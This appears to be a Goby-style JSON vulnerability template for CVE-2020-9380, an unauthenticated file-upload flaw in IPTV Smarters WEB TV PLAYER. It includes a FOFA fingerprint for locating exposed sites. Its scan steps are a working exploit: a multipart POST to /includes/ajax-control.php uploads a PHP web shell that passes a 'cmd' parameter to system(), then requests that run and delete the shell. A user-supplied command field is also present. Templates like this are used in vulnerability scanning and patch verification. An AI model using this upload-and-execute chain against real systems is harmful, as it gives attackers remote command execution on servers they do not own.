{
  "Name": "Smarters WEB TV PLAYER player command execution(CVE-2020-9380)",
  "Description": "IPTV Smarters WEB TV PLAYER through 2020-02-22 allows attackers to execute OS commands by uploading a script.",
  "Product": "Smarters WEB TV",
  "Homepage": "https://www.whmcssmarters.com/web-tv-for-iptv/",
  "DisclosureDate": "2020-03-05",
  "Author": "mahui@gobies.org",
  "FofaQuery": "body=\"css/owl.carousel.css\" && body=\"css/rippler.css\"",
  "Level": "3",
  "Impact": "<p>IPTV Smarters WEB TV PLAYER是一款基于Web的电视播放器。&nbsp;</p><p>IPTV Smarters WEB TV PLAYER 在 2020-02-22及之前版本中存在安全漏洞。攻击者可通过上传脚本利用该漏洞执行操作系统命令，获取服务器权限。</p>",
  "Recommandation": "<p>1、目前厂商在新版本中已修复该漏洞，可前去厂商官网下载最新版本：<a href=\"https://www.whmcssmarters.com/web-tv-for-iptv/\">https://www.whmcssmarters.com/web-tv-for-iptv/</a></p><p>2、禁止访问该上传接口文件，或设置ip白名单。</p>",
  "References": [
    "https://github.com/migueltarga/CVE-2020-9380",
    "https://www.whmcssmarters.com",
    "https://nvd.nist.gov/vuln/detail/CVE-2020-9380",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9380"
  ],
   "HasExp": true,
  "ExpParams": [
  	{
      "Name": "cmd",
      "Type": "input",
	  "show": "",
      "Value": "ls"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
	"AND",
	{
		"Request": {
			"method": "GET",
			"uri": "/includes/ajax-control.php",
			"follow_redirect": false,
			"header": {},
			"data_type": "text",
			"data": ""
		},
		"ResponseTest": {
			"type": "group",
			"operation": "AND",
			"checks": [
				{
					"type": "item",
					"variable": "$code",
					"operation": "==",
					"value": "200",
					"bz": ""
				}
			]
		},
		"SetVariable": []
	},
	{
		"Request": {
			"method": "POST",
			"uri": "/includes/ajax-control.php",
			"follow_redirect": false,
			"header": {
			  "Content-Type": "multipart/form-data; boundary=8ViakmU60tdjEsl3Z9hbMv6E4BXMCy07T8tm7WzYaC5FMTC1uxSQmA"
            },
			"data_type": "text",
            "data": "--8ViakmU60tdjEsl3Z9hbMv6E4BXMCy07T8tm7WzYaC5FMTC1uxSQmA\nContent-Disposition: form-data; name=\"logoImage\"; filename=\"13755966.php\"\nContent-Type: application/octet-stream\n\n<?php system($_GET[\"cmd\"]); ?>\n--8ViakmU60tdjEsl3Z9hbMv6E4BXMCy07T8tm7WzYaC5FMTC1uxSQmA--"
		},
		"ResponseTest": {
			"type": "group",
			"operation": "AND",
			"checks": [
				{
					"type": "item",
					"variable": "$code",
					"operation": "==",
					"value": "200",
					"bz": ""
				},
				{
					"type": "item",
					"variable": "$body",
					"operation": "contains",
					"value": "1375596",
					"bz": ""
				}
			]
		},
		"SetVariable": []
	},
	{
		"Request": {
			"set_variable": ["cmd|define|text|rm%2013755966.php"],
			"method": "GET",
			"uri": "/images/13755966.php?cmd={{{cmd}}}",
			"follow_redirect": false,
			"header": {},
			"data_type": "text",
			"data": ""
		},
		"ResponseTest": {
			"type": "group",
			"operation": "AND",
			"checks": [
				{
					"type": "item",
					"variable": "$code",
					"operation": "==",
					"value": "200",
					"bz": ""
				}
			]
		},
		"SetVariable": []
	},
	{
		"Request": {
			"method": "GET",
			"uri": "/images/13755966.php?cmd=rm%2013755966.php",
			"follow_redirect": false,
			"header": {},
			"data_type": "text",
			"data": ""
		},
		"ResponseTest": {
			"type": "group",
			"operation": "AND",
			"checks": [
				{
					"type": "item",
					"variable": "$code",
					"operation": "==",
					"value": "404",
					"bz": ""
				}
			]
		},
		"SetVariable": []
	}
  ],
  "ExploitSteps": null,
  "Tags": ["rce"],
  "CVEIDs": [
    "CVE-2020-9380"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": ["Smarters-WEB-TV"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  },
  "Disable": false
}